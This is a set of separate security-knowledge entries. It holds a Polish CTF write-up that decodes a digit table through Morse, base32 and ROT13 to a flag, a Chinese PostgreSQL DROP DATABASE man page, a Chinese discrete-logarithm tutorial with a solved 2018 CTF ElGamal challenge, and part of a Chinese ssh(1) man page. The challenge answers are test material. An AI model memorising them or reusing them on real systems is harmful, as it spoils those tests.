92898 98389 89899 29283 89898 98389 92898 98389 89898 98983 89929 28392 92898 38983 89899 29292 83928 99289 83929 28989 89839 28983 92928 98983 89898 98392 89899 28389 83929 29283 89928 98389 92929 28389 92928 98389 89928 39289 89899 28392 89898 99283 92898 98992 83928 98989 92839 28989 89928 39289 89899 2 Przypomina to tablice do szyfrowania metodą one-time-pad stosowane przez służby specjalne w przeszłości. Korzystając z sugestii że chodziło o niemcy, trafiamy na szyfrowanie TAPIR i tablicę dekodującą: http://scz.bplaced.net/m.html#t Z tej tablicy zauważamy że interesują nas podział naszych danych na 2-cyfrowe fragmenty. To daje nam zaledwie 4 różne bloki: 82, 83, 89, 92 Pierwszy otwiera transmisje symboliczną, drugi to znak spacji, a pozostałe dwa to kropka i kreska. To sugeruje kod morsa, który generujemy przez: ```python result = result.replace(" ", "") result = "".join(result[i:i + 2] for i in range(0, len(result), 2)) result = result.replace("82", "") result = result.replace("83", " ") result = result.replace("89", ".") result = result.replace("92", "-") ``` Co daje: -.- --.. ..-. .... .-- - - ..-. -- ...- ... ... -.-. -..- ..--- ..- --. .- -.-- .... -.-. -..- ..--- -.. --- --.. ... .-- ....- --.. ...-- ... .-.. ..... .-- --. . ..--- -.-. --... -. --.. ... -..- . --- .-. .--- .--. ..- -...- -...- -...- -...- -...- -...- A to dekoduje się do: KZFHWTTFMVSSCX2UGAYHCX2DOZSW4Z3SL5WGE2C7NZSXEORJPU====== Co rozpoznajemy jako stringa kodowanego w base-32, który po zdekodowaniu przez `base64.b32decode("KZFHWTTFMVSSCX2UGAYHCX2DOZSW4Z3SL5WGE2C7NZSXEORJPU======")` daje: VJ{Neee!_T00q_Cvengr_lbh_ner:)} Co wygląda na szyfr przestawieniowy/podstawieniowy. Okazuje się, że jest to rot-13, który po zdekodowaniu przez `code.encode("rot_13")` daje: `IW{Arrr!_G00d_Pirate_you_are:)}`
sec-knowleage
.\" auto-generated by docbook2man-spec $Revision: 1.1 $ .TH "DROP DATABASE" "7" "2003-11-02" "SQL - Language Statements" "SQL Commands" .SH NAME DROP DATABASE \- 删除一个数据库 .SH SYNOPSIS .sp .nf DROP DATABASE \fIname\fR .sp .fi .SH "DESCRIPTION 描述" .PP \fBDROP DATABASE\fR 删除一个现存数据库的目录入口并且删除包含数据的目录。 只有数据库所有者能够执行这条命令(通常也是数据库创建者)。 .PP \fBDROP DATABASE\fR 不能撤销,小心使用! .SH "PARAMETERS 参数" .TP \fB\fIname\fB\fR 要被删除的现有数据库名。 .SH "NOTES 注意" .PP \fBDROP DATABASE\fR cannot be executed inside a transaction block. .PP 这条命令在和目标数据库联接时不能执行。 通常更好的做法是用 dropdb[\fBdropdb\fR(1)] 程序代替,该程序是此命令的一个封装。 .SH "COMPATIBILITY 兼容性" .PP 在 SQL 标准中没有 DROP DATABASE 语句。 .SH "SEE ALSO 参见" CREATE DATABASE [\fBcreate_database\fR(7)] .SH "译者" .B Postgresql 中文网站 .B 何伟平 <laser@pgsqldb.org>
sec-knowleage
# 离散对数 ## 基本定义 在了解离散对数时,我们先来了解几个基本定义。 **定义1** 在群 G 中,g 为 G 的生成元,也就是说群 G 中每一个元素都可以写成 $y=g^k$,我们称 k 为 y 在群 G 中的对数。 **定义2** 设 $m\geq 1$,$(a,m)=1$ ,使得 $a^d \equiv 1\pmod m$ 成立的最小正整数 d 称为 a 对模 m 的指数或者阶,我们一般将其记为 $\delta_m(a)$。 **定义3** 当 $\delta_m(a)=\varphi(m)$ 时,称 a 是模 m 的原根,简称 m 的原根。 ## 一些性质 **性质1** 使得 $a^d \equiv 1\pmod m$ 成立的最小正整数 $d$ ,必有$d\mid\varphi(m)$。 **性质2** 模 $m$ 剩余系存在原根的充要条件是 $m=2,4,p^{\alpha},2p^{\alpha}$ ,其中 $p$ 为奇素数, $\alpha$ 为正整数。 ## 离散对数问题 已知 $g,p,y$ ,对于方程 $y\equiv g^x \pmod p$ ,求解 $x$ 是一个难解问题。但是当 $p$ 具有一定的特性时就可能可以求解,比如,这个群的阶是一个光滑数。 正是上述这个问题构成了目前很大一部分现代密码学,包括 Diffie–Hellman 密钥交换, ElGamal 算法,ECC 等。 ## 离散对数求解方式 ### 暴力破解 给定 $y\equiv g^x \pmod p$,我们可以暴力枚举 $x$ 从而得到真正的 $x$ 的值。 ### Baby-step giant-step 这一方法通常被称为小步大步法,这一方法使用了中间相遇攻击的思想。 我们可以令 $x=im+j$,其中 $m= \lceil \sqrt n\rceil$ ,那么整数 i 和 j 都在 0 到 m 的范围内。 因此 $$y=g^x=g^{im+j}$$ 也就是 $$y(g^{-m})^i=g^j$$ 那么我们就可以枚举所有的 j 并进行计算,并将其存储到一个集合 S 中,然后我们再次枚举 i,计算 $y(g^{-m})^i$,一旦我们发现计算的结果在集合 S 中,则说明我们得到了一个碰撞,进而得到了 i 和 j。 这显然是一个时间与空间的折中的方式,我们将一个 $O(n)$ 的时间复杂度,$O(1)$ 空间复杂度的算法转换为了一个$O(\sqrt n)$的时间复杂度和$O(\sqrt n)$ 的空间复杂度的算法。 其中 - 每一次 j 的增加表示“baby-step”,一次乘上 $g$。 - 每一次 i 的增加表示“giant-step”,一次乘上 $g^{-m}$ 。 ```python def bsgs(g, y, p): m = int(ceil(sqrt(p - 1))) S = {pow(g, j, p): j for j in range(m)} gs = pow(g, p - 1 - m, p) for i in range(m): if y in S: return i * m + S[y] y = y * gs % p return None ``` ### Pollard’s ρ algorithm 我们可以以$O(\sqrt n)$的时间复杂度和$O(1)$ 的空间复杂度来解决上述问题。具体原理请自行谷歌。 ### Pollard’s kangaroo algorithm 如果我们知道 x 的范围为 $a \leq x \leq b$,那么我们可以以$O(\sqrt{b-a})$ 的时间复杂度解决上述问题。具体原理请自行谷歌。 ### Pohlig-Hellman algorithm 不妨假设上述所提到的群关于元素 $g$ 的阶为 $n$, $n$ 为一个光滑数: $n=\prod\limits_{i=1}^r p_i^{e_i}$。 1. 对于每个 $i \in \{1,\ldots,r\}$ : 1. 计算 $g_i \equiv g^{n/p_i^{e_i}} \pmod m$。根据拉格朗日定理, $g_i$ 在群中的阶为 $p_i^{e_i}$ 。 2. 计算 $y_i \equiv y^{n/p_i^{e_i}} \equiv g^{xn/p_i^{e_i}} \equiv g_i^{x} \equiv g_i^{x \bmod p_i^{e_i}} \equiv g_i^{x_i} \pmod m$,这里我们知道 $y_i,m,g_i$,而$x_i$ 的范围为$[0,p_i^{e_i})$,由 $n$ 是一个光滑数,可知其范围较小,因此我们可以使用 *Pollard’s kangaroo algorithm* 等方法快速求得$x_i$。 2. 根据上述的推导,我们可以得到对于 $i \in \{1,\ldots,r\}$ ,$x \equiv x_i \pmod{p_i^{e_i}}$ ,该式可用中国剩余定理求解。 上述过程可用下图简单描述: <center> </center> 其复杂度为$O\left(\sum\limits _i e_i\left(\log n+\sqrt{p_i}\right)\right)$,可以看出复杂度还是很低的。 但当 $n$ 为素数,$m=2n+1$,那么复杂度和 $O(\sqrt m)$ 是几乎没有差别的。 ## 2018 国赛 crackme java 代码如下 ```java import java.math.BigInteger; import java.util.Random; public class Test1 { static BigInteger two =new BigInteger("2"); static BigInteger p = new BigInteger("11360738295177002998495384057893129964980131806509572927886675899422214174408333932150813939357279703161556767193621832795605708456628733877084015367497711"); static BigInteger h= new BigInteger("7854998893567208831270627233155763658947405610938106998083991389307363085837028364154809577816577515021560985491707606165788274218742692875308216243966916"); /* Alice write the below algorithm for encryption. The public key {p, h} is broadcasted to everyone. @param val: The plaintext to encrypt. We suppose val only contains lowercase letter {a-z} and numeric charactors, and is at most 256 charactors in length. */ public static String pkEnc(String val){ BigInteger[] ret = new BigInteger[2]; BigInteger bVal=new BigInteger(val.toLowerCase(),36); BigInteger r =new BigInteger(new Random().nextInt()+""); ret[0]=two.modPow(r,p); ret[1]=h.modPow(r,p).multiply(bVal); return ret[0].toString(36)+"=="+ret[1].toString(36); } /* Alice write the below algorithm for decryption. x is her private key, which she will never let you know. public static String skDec(String val,BigInteger x){ if(!val.contains("==")){ return null; } else { BigInteger val0=new BigInteger(val.split("==")[0],36); BigInteger val1=new BigInteger(val.split("==")[1],36); BigInteger s=val0.modPow(x,p).modInverse(p); return val1.multiply(s).mod(p).toString(36); } } */ public static void main(String[] args) throws Exception { System.out.println("You intercepted the following message, which is sent from Bob to Alice:"); BigInteger bVal1=new BigInteger("a9hgrei38ez78hl2kkd6nvookaodyidgti7d9mbvctx3jjniezhlxs1b1xz9m0dzcexwiyhi4nhvazhhj8dwb91e7lbbxa4ieco",36); BigInteger bVal2=new BigInteger("2q17m8ajs7509yl9iy39g4znf08bw3b33vibipaa1xt5b8lcmgmk6i5w4830yd3fdqfbqaf82386z5odwssyo3t93y91xqd5jb0zbgvkb00fcmo53sa8eblgw6vahl80ykxeylpr4bpv32p7flvhdtwl4cxqzc",36); BigInteger r =new BigInteger(new Random().nextInt()+""); System.out.println(r); System.out.println(bVal1); System.out.println(bVal2); System.out.println("a9hgrei38ez78hl2kkd6nvookaodyidgti7d9mbvctx3jjniezhlxs1b1xz9m0dzcexwiyhi4nhvazhhj8dwb91e7lbbxa4ieco==2q17m8ajs7509yl9iy39g4znf08bw3b33vibipaa1xt5b8lcmgmk6i5w4830yd3fdqfbqaf82386z5odwssyo3t93y91xqd5jb0zbgvkb00fcmo53sa8eblgw6vahl80ykxeylpr4bpv32p7flvhdtwl4cxqzc"); System.out.println("Please figure out the plaintext!"); } } ``` 基本功能为计算 $r_0=2^r \bmod p$ $r_1 =b*h^r \bmod p$ 可以发现,r 的范围为 $[0,2^{32})$,所以我们可以使用 BSGS 算法,如下 ```python from sage.all import * c1 = int( 'a9hgrei38ez78hl2kkd6nvookaodyidgti7d9mbvctx3jjniezhlxs1b1xz9m0dzcexwiyhi4nhvazhhj8dwb91e7lbbxa4ieco', 36 ) c2 = int( '2q17m8ajs7509yl9iy39g4znf08bw3b33vibipaa1xt5b8lcmgmk6i5w4830yd3fdqfbqaf82386z5odwssyo3t93y91xqd5jb0zbgvkb00fcmo53sa8eblgw6vahl80ykxeylpr4bpv32p7flvhdtwl4cxqzc', 36 ) print c1, c2 p = 11360738295177002998495384057893129964980131806509572927886675899422214174408333932150813939357279703161556767193621832795605708456628733877084015367497711 h = 7854998893567208831270627233155763658947405610938106998083991389307363085837028364154809577816577515021560985491707606165788274218742692875308216243966916 # generate the group const2 = 2 const2 = Mod(const2, p) c1 = Mod(c1, p) c2 = Mod(c2, p) h = Mod(h, p) print '2', bsgs(const2, c1, bounds=(1, 2 ^ 32)) r = 152351913 num = long(c2 / (h**r)) print num ``` ## 参考 - 初等数论,潘承洞,潘承彪 - https://ee.stanford.edu/~hellman/publications/28.pdf - https://en.wikipedia.org/wiki/Pohlig%E2%80%93Hellman_algorithm#cite_note-Menezes97p108-2 - https://fortenf.org/e/crypto/2017/12/03/survey-of-discrete-log-algos.html
sec-knowleage
.\" -*- nroff -*- .\" .\" Author: Tatu Ylonen <ylo@cs.hut.fi> .\" Copyright (c) 1995 Tatu Ylonen <ylo@cs.hut.fi>, Espoo, Finland .\" All rights reserved .\" .\" As far as I am concerned, the code I have written for this software .\" can be used freely for any purpose. Any derived versions of this .\" software must be clearly marked as such, and if the derived work is .\" incompatible with the protocol description in the RFC file, it must be .\" called by a name other than "ssh" or "Secure Shell". .\" .\" Copyright (c) 1999,2000 Markus Friedl. All rights reserved. .\" Copyright (c) 1999 Aaron Campbell. All rights reserved. .\" Copyright (c) 1999 Theo de Raadt. All rights reserved. .\" .\" Redistribution and use in source and binary forms, with or without .\" modification, are permitted provided that the following conditions .\" are met: .\" 1. Redistributions of source code must retain the above copyright .\" notice, this list of conditions and the following disclaimer. .\" 2. Redistributions in binary form must reproduce the above copyright .\" notice, this list of conditions and the following disclaimer in the .\" documentation and/or other materials provided with the distribution. .\" .\" THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR .\" IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES .\" OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. .\" IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, .\" INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT .\" NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, .\" DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY .\" THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT .\" (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF .\" THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. .\" .\" $OpenBSD: ssh.1,v 1.168 2003/03/28 10:11:43 jmc Exp $ .Dd September 25, 1999 .Dt SSH 1 .Os .Sh NAME .Nm ssh .Nd OpenSSH SSH 客户端 (远程登录程序) .Sh "总览 (SYNOPSIS)" .Nm ssh .Op Fl l Ar login_name .Ar hostname | user@hostname .Op Ar command .Pp .Nm ssh .Bk -words .Op Fl afgknqstvxACNTX1246 .Op Fl b Ar bind_address .Op Fl c Ar cipher_spec .Op Fl e Ar escape_char .Op Fl i Ar identity_file .Op Fl l Ar login_name .Op Fl m Ar mac_spec .Op Fl o Ar option .Op Fl p Ar port .Op Fl F Ar configfile .Oo Fl L Xo .Sm off .Ar port : .Ar host : .Ar hostport .Sm on .Xc .Oc .Ek .Bk -words .Oo Fl R Xo .Sm off .Ar port : .Ar host : .Ar hostport .Sm on .Xc .Oc .Op Fl D Ar port .Ar hostname | user@hostname .Op Ar command .Ek .Sh "描述 (DESCRIPTION)" .Nm (SSH 客户端) 用于登录远程主机, 并且在远程主机上执行命令. 它的目的是替换 rlogin 和 rsh, 同时在不安全的网络之上, 两个互不 信任的主机之间, 提供加密的, 安全的通信连接. X11 连接和任意 TCP/IP 端口均可以通过此安全通道转发(forward). .Pp 当用户通过 .Nm 连接并登录主机 .Ar hostname 后, 根据所用的协议版本, 用户必须通过下述方法之一向远程主机证明他/她的身份: .Pp .Ss "SSH 协议第一版" .Pp 第一, 如果发出登录命令的本地主机已经列在远程主机的 .Pa /etc/hosts.equiv 或 .Pa /etc/ssh/shosts.equiv 文件中, 并且两端的用户名相同, 则立即允许该用户登录. 第二, 如果远程主机的用户根目录 (home 目录) 下存在 .Pa \&.rhosts 或 .Pa \&.shosts , 并且其中有一行包含了客户机的名字和客户机上的用户名, 则允许该用户登录. 一般来说, 服务器不允许单独使用这种认证方式, 因为它不安全. .Pp 第二种认证方法是 .Pa rhosts 或 .Pa hosts.equiv 文件结合基于 RSA 的主机认证. 这意味着如果 .Pa $HOME/.rhosts , .Pa $HOME/.shosts , .Pa /etc/hosts.equiv , 或 .Pa /etc/ssh/shosts.equiv 允许登录, 并且如果服务器能够验证客户的主机密钥(host key) (参见 .Sx "文件(FILE)" 节的 .Pa /etc/ssh/ssh_known_hosts 和 .Pa $HOME/.ssh/known_hosts ), 主机才允许客户登录. 这个认证方法关闭了因 IP 欺骗, DNS 欺骗和路由欺骗造成的安全漏洞. [系统管理员注意: 一般说来 .Pa /etc/hosts.equiv , .Pa $HOME/.rhosts , 和 rlogin/rsh 协议的本质是不可靠地, 要安全就应该关掉它们.] .Pp 作为第三种认证方式, .Nm 支持基于 RSA 的认证. 这种方案依托于公开密钥算法: 密码系统的加密和解密通过不同的密钥完成, 无法 通过加密密钥推导出解密密钥. RSA 就是这种密码系统. 每个用户创建一对公开/私密钥匙用于认证. 服务器知道用户的公钥, 只有用户知道他自己的私钥. .Pa $HOME/.ssh/authorized_keys 文件列出允许登录的(用户的)公钥. 当用户开始登录, .Nm 程序告诉服务器它准备使用哪对钥匙(公钥)做认证. 服务器检查这只密钥(公钥)是否获得许可, 如果许可, 服务器向用户 (实际上是用户面前运行的 .Nm 程序) 发出测试, 用用户的公钥加密一个随机数. 这个随机数只能用正确的私钥解密. 随后用户的客户程序用私钥解出测试数字, 即可证明他/她掌握私钥, 而又无需(把私钥)暴露给服务器. .Pp .Nm 能够自动执行 RSA 认证协议. 用户通过运行 .Xr ssh-keygen 1 创建他/她的 RSA 密钥对. 私钥存放在用户根目录下的 .Pa $HOME/.ssh/identity 中, 而公钥存放在 .Pa $HOME/.ssh/identity.pub 中. 随后, 用户应该把 .Pa identity.pub 复制到远程服务器中, 作为 .Pa $HOME/.ssh/authorized_keys 存放到他/她的用户根目录下 ( .Pa authorized_keys 对应传统的 .Pa $HOME/.rhosts 文件, 每一行只有一只密钥, 尽管一行可以很长). 用户无须密码就可以直接登录. RSA 认证远比 rhosts 认证安全. .Pp RAS 认证最便捷的用法大概就是使用认证代理(authentication agent) 了. 详见 .Xr ssh-agent 1 手册页. .Pp 如果这些认证方式都失败了, .Nm 就提示用户输入口令(password), 然后把口令送到服务器做验证. 由于整个通信过程是 加密的, 因此别人不可能通过侦听网络获得这个口令. .Pp .Ss "SSH 协议第二版" .Pp 当用户以协议第二版连接时, 类似的认证方法一样有效. 如果使用了 .Cm PreferredAuthentications 的默认内容, 客户端首先试着用基于主机的认证方法进行连接; 如果这个方法失败了 就用公开密钥方法作认证; 最后, 如果它也失败了, 就进入键盘操作, 试试 用户口令认证. .Pp 这个公开密钥方法类似于上一节描述的 RAS 认证, 并且允许使用 RAS 或 DSA 算法: 客户端用他的私钥 ( .Pa $HOME/.ssh/id_dsa 或 .Pa $HOME/.ssh/id_rsa ) 对会话标识符(session identifier)签名, 然后把结果送到服务器. 服务器检查 .Pa $HOME/.ssh/authorized_keys 中是否有匹配的公钥, 如果密钥和签名都正确, 访问就可以继续进行. 会话标识符来自共享的 Diffie-Hellman 值, 只有客户端和服务器端才知道这个值. .Pp 如果公钥认证失败或无效, 用户口令将会加密后送到远端主机来证明用户的身份. .Pp 另外, .Nm 支持基于主机或测试应答的认证方式. .Pp 协议第二版提供附加机制增强保密性 (数据流用 3DES, Blowfish, CAST128 或 Arcfour 加密) 和完整性 (hmac-md5, hmac-sha1). 注意, 协议第一版缺少强有力的机制确保连接的完整性. .Pp .Ss 登录会话和远程执行 .Pp 服务器接受用户身份后, 服务器即可以执行给定的命令, 也可以让用户登录并给他 一个正常的 shell. 所有和远端命令或 shell 的通信被自动加密. .Pp 如果分配了伪终端(pseudo-terminal)(普通的登录会话), 用户可以使用后面将 提到的 escape 字符. .Pp 如果没有分配伪终端, 则会话是透明的(transparent), 能够可靠的传送二进制数据. 大多数系统上, 即使分配了终端, 把 escape 字符设为 .Dq none 也可以让会话透明. .Pp 当远程主机上的命令或 shell 退出时, 会话即结束, 并关闭所有 X11 和 TCP/IP 连接. 远端程序的返回码做为 .Nm 的返回码返回. .Pp .Ss Escape 字符 .Pp 如果启用了伪终端, .Nm 能够通过 escape 字符支持一组功能. .Pp 单独的波浪符可以用 .Ic ~~ 送出去, 只要后面不跟下面列举的字符, 也可以把它直接送出去. escape 字符必须接在换行(newline)后面, 这样才具有特别含义. 在配置文件中可以用 .Cm EscapeChar 命令更改 escape 字符, 在命令行上可以用 .Fl e 选项更改. .Pp 已支持的 escape 命令 (假设是默认的 .Ql ~ ) 有: .Bl -tag -width Ds .It Cm ~. 断开连接 .It Cm ~^Z 把 ssh 送到后台 .It Cm ~# 列出转发的连接 (forwarded connection) .It Cm ~& 当等待转发的连接/X11会话结束时, ssh 在后台退出登录 .It Cm ~? 显示 escape 字符的列表 .It Cm ~C 打开命令行 (仅用于 .Fl L 和 .Fl R 选项增加端口转发) .It Cm ~R 请求连接的重建(rekeying) (仅用于SSH协议第二版, 且对方支持) .El .Pp .Ss X11 和 TCP 转发 (forwarding) .Pp 如果 .Cm ForwardX11 变量设为 .Dq yes (或参见后面对 .Fl X 和 .Fl x 选项的描述), 并且用户正在使用 X11 (设置了 .Ev DISPLAY 环境变量), 和 X11 显示器的连接将自动以这种形式转发到远端: 任何用 shell 或命令启动的 X11 程序将穿过加密的通道, 从本地机器连接真正的 X 服务器. 用户不应该手动设置 .Ev DISPLAY . 可以在命令行上, 也可以在配置文件中设置 X11 连接的转发. .Pp .Nm 设置的 .Ev DISPLAY 值将指向服务器, 但是显示器号大于零. 这很自然, 因为 .Nm 在服务器上创建了一个 .Dq proxy X 服务器, 把连接通过加密通道转发出去. .Pp .Nm 将自动在服务器上设置 Xauthority 数据. 目的是这样的: SSH 生成一个随机的授权 cookie, 存放在服务器的 Xauthority 中. SSH 检查并确保转发的连接携带了这个 cookie, 打开连接后, 把它替换为真正的 cookie. 真正的认证 cookie 绝不会送往服务器 (也不会有任何明文传送的 cookie). .Pp 如果 .Cm ForwardAgent 变量设为 .Dq yes (或参见后面对 .Fl A 和 .Fl a 选项的描述), 并且用户正在使用认证代理(authentication agent), 则和代理的连接将自动转发到远程主机. .Pp 既可以在命令行上, 也可以在配置文件中指定通过加密通道转发的任何 TCP/IP 连接. TCP/IP 转向的应用有, 比如说, 和电子钱包的安全连接, 或者是穿过防火墙等. .Pp .Ss 服务器认证 .Pp .Nm 自动维护并检查一个身份数据库, 它包含所有(成功)来访的主机的身份数据. 主机密钥存放在用户根目录下的 .Pa $HOME/.ssh/known_hosts 文件中. 另外, SSH 自动检查 .Pa /etc/ssh/ssh_known_hosts 里面已知的主机. 任何新主机将被自动添加到用户文件中. 如果某个主机的身份发生改变, .Nm 就会发出警告, 并且关闭对它的密码认证, 以防止特洛伊木马窃取用户密码. 这个机制的另一个目的是防止中间人攻击, 否则这种攻击可能会绕过加密系统. .Cm StrictHostKeyChecking 选项用来防止登录到主机密钥不能识别或发生改变的那些机器. .Pp 命令行选项有: .Bl -tag -width Ds .It Fl a 禁止转发认证代理的连接. .It Fl A 允许转发认证代理的连接. 可以在配置文件中对每个主机单独设定这个参数. .Pp 代理转发须谨慎. 某些用户能够在远程主机上绕过文件访问权限 (由于代理的 UNIX 域 socket), 他们可以通过转发的连接访问本地代理. 攻击者不可能从代理获得密钥内容, 但是他们能够操作这些密钥, 利用加载到代理上 的身份信息通过认证. .It Fl b Ar bind_address 在拥有多个接口或地址别名的机器上, 指定收发接口. .It Fl c Ar blowfish|3des|des 选择加密会话的密码术. .Ar 3des 是默认算法. .Ar 3des (triple-des) 用三支不同的密钥做加密-解密-加密三次运算, 被认为比较可靠. .Ar blowfish 是一种快速的分组加密术(block cipher), 非常安全, 而且速度比 .Ar 3des 快的多. .Ar des 仅支持 .Nm 客户端, 目的是能够和老式的不支持 .Ar 3des 的协议第一版互操作. 由于其密码算法上的弱点, 强烈建议避免使用. .It Fl c Ar cipher_spec 另外, 对于协议第二版, 这里可以指定一组用逗号隔开, 按优先顺序排列的密码术. 详见 .Cm Ciphers . .It Fl e Ar ch|^ch|none 设置 pty 会话的 escape 字符 (默认字符: .Ql ~ ) . escape 字符只在行首有效, escape 字符后面跟一个点 .Pq Ql \&. 表示结束连接, 跟一个 control-Z 表示挂起连接(suspend), 跟 escape 字符自己 表示输出这个字符. 把这个字符设为 .Dq none 则禁止 escape 功能, 使会话完全透明. .It Fl f 要求 .Nm 在执行命令前退至后台. 它用于当 .Nm 准备询问口令或密语, 但是用户希望它在后台进行. 该选项隐含了 .Fl n 选项. 在远端机器上启动 X11 程序的推荐手法就是类似于 .Ic ssh -f host xterm 的命令. .It Fl g 允许远端主机连接本地转发的端口. .It Fl i Ar identity_file 指定一个 RSA 或 DSA 认证所需的身份(私钥)文件. 默认文件是协议第一版的 .Pa $HOME/.ssh/identity 以及协议第二版的 .Pa $HOME/.ssh/id_rsa 和 .Pa $HOME/.ssh/id_dsa 文件. 也可以在配置文件中对每个主机单独指定身份文件. 可以同时使用多个 .Fl i 选项 (也可以在配置文件中指定多个身份文件). .It Fl I Ar smartcard_device 指定智能卡(smartcard)设备. 参数是设备文件, .Nm 能够用它和智能卡通信, 智能卡里面存储了用户的 RSA 私钥. .It Fl k 禁止转发 Kerberos 门票和 AFS 令牌. 可以在配置文件中对每个主机单独设定这个参数. .It Fl l Ar login_name 指定登录远程主机的用户. 可以在配置文件中对每个主机单独设定这个参数. .It Fl m Ar mac_spec 另外, 对于协议第二版, 这里可以指定一组用逗号隔开, 按优先顺序排列的 MAC(消息验证码)算法 (message authentication code). 详情以 .Cm MACs 为关键字查询. .It Fl n 把 stdin 重定向到 .Pa /dev/null (实际上防止从 stdin 读取数据). .Nm 在后台运行时一定会用到这个选项. 它的常用技巧是远程运行 X11 程序. 例如, .Ic ssh -n shadows.cs.hut.fi emacs & 将会在 shadows.cs.hut.fi 上启动 emacs, 同时自动在加密通道中转发 X11 连接. .Nm 在后台运行. (但是如果 .Nm 要求口令或密语, 这种方式就无法工作; 参见 .Fl f 选项.) .It Fl N 不执行远程命令. 用于转发端口. (仅限协议第二版) .It Fl o Ar option 可以在这里给出某些选项, 格式和配置文件中的格式一样. 它用来设置那些没有命令行开关的选项. .It Fl p Ar port 指定远程主机的端口. 可以在配置文件中对每个主机单独设定这个参数. .It Fl q 安静模式. 消除所有的警告和诊断信息. .It Fl s 请求远程系统激活一个子系统. 子系统是 SSH2 协议的一个特性, 能够协助 其他应用程序(如 sftp)把SSH用做安全通路. 子系统通过远程命令指定. .It Fl t 强制分配伪终端. 可以在远程机器上执行任何全屏幕(screen-based)程序, 所以非常有用, 例如菜单服务. 并联的 .Fl t 选项强制分配终端, 即使 .Nm 没有本地终端. .It Fl T 禁止分配伪终端. .It Fl v 冗详模式. 使 .Nm 打印关于运行情况的调试信息. 在调试连接, 认证和配置问题时非常有用. 并联的 .Fl v 选项能够增加冗详程度. 最多为三个. .It Fl x 禁止 X11 转发. .It Fl X 允许 X11 转发. 可以在配置文件中对每个主机单独设定这个参数. .Pp 应该谨慎使用 X11 转发. 如果用户在远程主机上能够绕过文件访问权限 (根据用户的X授权数据库), 他就可以通过转发的连接访问本地 X11 显示器. 攻击者可以据此采取行动, 如监视键盘输入等. .It Fl C 要求进行数据压缩 (包括 stdin, stdout, stderr 以及转发 X11 和 TCP/IP 连接 的数据). 压缩算法和 .Xr gzip 1 的一样, 协议第一版中, 压缩级别 .Dq level 用 .Cm CompressionLevel 选项控制. 压缩技术在 modem 线路或其他慢速连接上很有用, 但是在高速网络上反而 可能降低速度. 可以在配置文件中对每个主机单独设定这个参数. 另见 .Cm Compression 选项. .It Fl F Ar configfile 指定一个用户级配置文件. 如果在命令行上指定了配置文件, 系统级配置文件 .Pq Pa /etc/ssh/ssh_config 将被忽略. 默认的用户级配置文件是 .Pa $HOME/.ssh/config . .It Fl L Ar port:host:hostport 将本地机(客户机)的某个端口转发到远端指定机器的指定端口. 工作原理是这样的, 本地机器上分配了一个 socket 侦听 .Ar port 端口, 一旦这个端口上有了连接, 该连接就经过安全通道转发出去, 同时远程主机和 .Ar host 的 .Ar hostport 端口建立连接. 可以在配置文件中指定端口的转发. 只有 root 才能转发特权端口. IPv6 地址用另一种格式说明: .Ar port/host/hostport .It Fl R Ar port:host:hostport 将远程主机(服务器)的某个端口转发到本地端指定机器的指定端口. 工作原理是这样的, 远程主机上分配了一个 socket 侦听 .Ar port 端口, 一旦这个端口上有了连接, 该连接就经过安全通道转向出去, 同时本地主机和 .Ar host 的 .Ar hostport 端口建立连接. 可以在配置文件中指定端口的转发. 只有用 root 登录远程主机 才能转发特权端口. IPv6 地址用另一种格式说明: .Ar port/host/hostport .It Fl D Ar port 指定一个本地机器 .Dq 动态的 应用程序端口转发. 工作原理是这样的, 本地机器上分配了一个 socket 侦听 .Ar port 端口, 一旦这个端口上有了连接, 该连接就经过安全通道转发出去, 根据应用程序的协议可以判断出远程主机将和哪里连接. 目前支持 SOCKS4 协议, .Nm 将充当 SOCKS4 服务器. 只有 root 才能转发特权端口. 可以在配置文件中指定动态端口的转发. .It Fl 1 强制 .Nm 只使用协议第一版. .It Fl 2 强制 .Nm 只使用协议第二版. .It Fl 4 强制 .Nm 只使用 IPv4 地址. .It Fl 6 强制 .Nm 只使用 IPv6 地址. .El .Sh "配置文件 (CONFIGURATION FILES)" .Nm 可以从用户级配置文件和系统级配置文件中获取更多的配置数据. 配置文件的格式及其内容参见 .Xr ssh_config 5 . .Sh "环境变量 (ENVIRONMENT)" .Nm 一般将设置下面的环境变量: .Bl -tag -width Ds .It Ev DISPLAY 环境变量 .Ev DISPLAY 指出 X11 服务器的位置. .Nm 自动设置这个变量, 变量指向 .Dq hostname:n 格式的数据, 其中 hostname 指出运行 shell 的主机, 而 n 是大于等于 1 的整数. .Nm 根据这个数据, 用安全通路转发 X11 连接. 用户一般不需要主动设置 .Ev DISPLAY 变量, 否则会导致 X11 连接不安全 (而且会导致用户手工复制所需的授权 cookie). .It Ev HOME 设置为用户根目录的路径. .It Ev LOGNAME 等于 .Ev USER ; 用来兼容使用这个变量的系统. .It Ev MAIL 设置为用户邮箱的路径. .It Ev PATH 设置为默认的 .Ev PATH , 如同编译 .Nm ssh 时要求的一样. .It Ev SSH_ASKPASS 如果 .Nm 需要一个密语(passphrase), 只要它是终端上启动的, 它会从当前终端上读取. 如果 .Nm 没有联接终端, 但是设置了 .Ev DISPLAY 和 .Ev SSH_ASKPASS 变量, .Nm 就运行 .Ev SSH_ASKPASS 指定的程序, 打开一个 X11 窗口读取密语. 当从 .Pa .Xsession 或类似的 script 中调用 .Nm 时, 这个功能特别有用. (注意, 某些机器上可能需要将输入重定向为 .Pa /dev/null 才能工作.) .It Ev SSH_AUTH_SOCK 标识某个 UNIX 域 socket 的路径, 用于和代理通信. .It Ev SSH_CONNECTION 标识连接的客户端和服务器端. 变量包含四个用空格隔开的字段: 客户端IP地址, 客户端端口号, 服务器IP地址, 服务器端口号. .It Ev SSH_ORIGINAL_COMMAND 如果强制执行了某条命令, 该变量就保存了最初的命令行. 